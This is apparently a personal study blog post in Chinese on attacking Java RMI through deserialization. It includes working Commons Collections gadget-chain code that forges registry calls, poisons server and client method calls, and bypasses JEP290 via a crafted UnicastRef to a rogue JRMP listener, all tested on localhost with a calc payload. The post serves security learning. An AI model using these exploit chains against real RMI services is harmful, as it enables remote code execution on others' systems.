RMI
RMI(Remote Method Invocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
注册中心是一个特殊的服务端,一般与服务端在同一主机上
RMI流程
https://www.cnblogs.com/p1a0m1a0/p/17071632.html这篇中很详细的记录了各个流程
简单来说就是在注册中心、服务端、客户端三者交互时信息以序列化对象的形式进行传递。客户端把参数序列化发送,然后服务端反序列化读取接收。接着反过来,服务端把信息序列化发送,客户端反序列化接收,这样就构成了基本的攻击思路。
此外所有客户端的请求都会调用executeCall,其中会调用readObject,也就是JRMP协议。所以从服务端攻击客户端的手法多一种
一个简单的实例
服务端
package org.example;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
UserImpl user = new UserImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("user",user);
}
}
package org.example;
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public void getUser() throws RemoteException;
public void addUser(Object user) throws RemoteException;
}
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException {
}
@Override
public void getUser() throws RemoteException {
System.out.println("No user!");
}
}
客户端
package org.example;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}
运行后在服务端显示
直接攻击
攻击注册中心
因为很多时候注册中心与服务端在同一主机,所以这里假设攻击从客户端发出,客户端与服务中心间的交互方式有bind、rebind、unbind、lookup和list
bind&rebind
以bind为例,rebind类似
基本就是沿用cc1,但因为bind函数实际参与反序列化的第二个参数的类型是Remote,所以要想办法将cc1构造的对象转化为Remote
public static void main(String[] args) throws IOException, NotBoundException, NoSuchFieldException, IllegalAccessException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
//强制类型转换,
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
lookup&unbind
bind和unbind穿的remote类型还可以强制类型转换一下,但lookup中只能传递string类型的对象,不能使用同一办法
但是服务端在反序列化时是不会检测类型的,所以我们可以自己伪造下lookup函数,让它可以传递其他类型
观察下lookup里的newCall发现用到了ref、this(就是注册中心)和operation,所以伪造时还要先获取下这几个参数
//换个cc6
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//HashMap的readObject()方法会调用hash(),进而调用hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
//lazyMap.clear();
//等到put完了再通过反射修改
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(map2);
ref.invoke(var2);
其实上面的bind也可以通过伪造bind来传递其他类型的对象,方法类似
攻击服务端
同上,假设从客户端攻击
改写下上面实例中的User类,添加一个参数类型为object的方法
public void addUser(Object user) throws RemoteException;
然后在客户端尝试调用这个方法,参数为构造的恶意类,即可成功攻击
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(map2);
原因是客户端把这个参数序列化(marshalValue内的writeObject)传给服务端,服务端接收后反序列化(unmarshalValue)处理触发
攻击客户端
客户端攻击注册中心和服务器的手法只要反过来就可以攻击客户端
注册中心攻击客户端
思路是反向利用之前的bind、lookup等方法,以bind为例,bind在把序列化对象传给注册中心后接着会接受回传的消息,进而触发反序列化
这里偷懒模仿前人用下yeso里的JRMPListener,JRMPListener主要实现了rmi流程中的各种协议,包括各种ack之类的,总之核心目的就是把payload发给连接者
注册中心
客户端
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();//用其他几个也是一样的
//registry.lookup("1");
服务端攻击客户端
想想之前那个简单的实例,在服务端正经实现了getUser方法。如果不正经实现,并且return一个恶意对象,这样客户端接受到时就会触发命令执行
服务端
服务端构造恶意getUser
public interface User extends java.rmi.Remote {
public Object getUser() throws Exception;
public void addUser(Object user) throws RemoteException;
}
public Object getUser() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//HashMap的readObject()方法会调用hash(),进而调用hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
//lazyMap.clear();
//等到put完了再通过反射修改
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return map2;
}
UserImpl user = new UserImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("user",user);
客户端
客户端尝试正常调用getUser方法就会得到恶意对象触发反序列化执行命令
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
值得注意的是客户端和服务端的User接口声明必须一样,否则会报错
高版本绕过
高版本中引入了JEP290,JEP290机制简单来说就是对反序列化的对象设置了白名单,影响的版本包括8u121、7u131 、6u141以及之后的版本,白名单包括
String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
但过滤都是针对服务端和注册中心的,对针对客户端的攻击没有影响,所以一个思路就是让服务端以客户端的身份发出一个请求,接收我们的恶意对象
关于DGC
具体见这篇https://blog.csdn.net/qq_53264525/article/details/129348793
dgc是rmi的分布式垃圾回收模块,在创建远程对象时会执行这部分代码,dgc的处理流程与服务中心类似,同样有着skeleton和stub,二者的通过客户端的clean和dirty两个方法交流,其中dirty中存在反序列化点
再看skeleton,dispach中的case0和case1分别对应clean和dirty,都存在反序列化点
所以说不管是攻击服务端还是客户端,都可以通过dgc。dgc在低版本中也是可以用来直接攻击的,但这里主要关注在高版本绕过时的应用
绕过
根据前面分析可知当客户端调用dirty方法后会接收来自服务端的序列化对象,然后对其进行反序列化操作
发起dirty
首先我们找到调用dirty的地方,正常的流程是不会触发这段代码的(不然直接就能攻击了),所以目标是人为改变一些参数使得服务端会创建这个dgc,顺着找下去(有的类我下载的源码跟8u65里class反编译出来的不太一样,不过问题不大)
我们发现其实在服务端skel中很多地方都调用了releaseInputStream,也就说是很有希望能创建以DGC并发起一个dirty请求的,比如说在接受到bind时就会调用releaseInputStream
但是断在了这里,没能进入if,因为正常流程上incomingRefTable一直是空的
修改参数
如果我们可以修改incomingRefTable的参数,让服务端正常走入上段代码,就可以通过JRMPListener实现攻击
先看下incomingRefTable,这个HashMap存储了Endpoint信息,用于与另一实体进行通信。如果能把这个通信对象设置成恶意服务端就可以实现攻击
寻找incomingRefTable的赋值位置
readExternal的功能类似readObject,也会在反序列化时调用,而Unicastref又恰好在白名单里,所以攻击思路如下
涉及的对象有:客户端、服务端、伪造服务端(JRMPListener)
- 客户端构造UnicastRef对象,通过bind等方式传递给服务端,服务端读取UnicastRef后给incomingRefTable赋值
- 服务端反序列化UnicastRef,给incomingRefTable赋值,接着以客户端的身份向incomingRefTable指定的伪造服务端发起dirty请求
- 伪造服务端接收dirty请求,向服务端发送恶意对象(如cc1),由于在这个过程中服务端的身份是客户端,所以不会触发JEP290的过滤,服务端直接反序列化恶意对象,实现rce
在一个正常的rmi流程中,客户端通过getResgistry得到的注册中心实质上是一个封装了UnicastRef对象的对象,在后续bind等方法时就是通过UnicastRef中储存的信息与注册中心交互。所以当我们把一个包含了恶意服务端信息的UnicastRef传给服务端时,服务端就可以通过这个UnicastRef与恶意服务端交互
客户端
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);//服务端
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 4399);//恶意服务端
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
//和前面直接攻击伪造lookup一样
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref2 = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(ref);
ref2.invoke(var2);
}
}
服务端
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
UserImpl user = new UserImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("user",user);
}
}
恶意服务端
总结
直接攻击就是想办法把已学的cc链往rmi的传输结构上套,麻烦的地方还是rmi本身吧
绕过JEP290的地方相当于一个二次反序列化
总之暂且过了一遍rmi,有些地方分析的还是比较乱,以后有机会动态调试再研究研究
参考
https://www.cnblogs.com/escape-w/p/16107675.html 更多版本的区别
标签:序列化,java,registry,new,RMI,class,服务端,客户端 From: https://www.cnblogs.com/carama1/p/17323938.html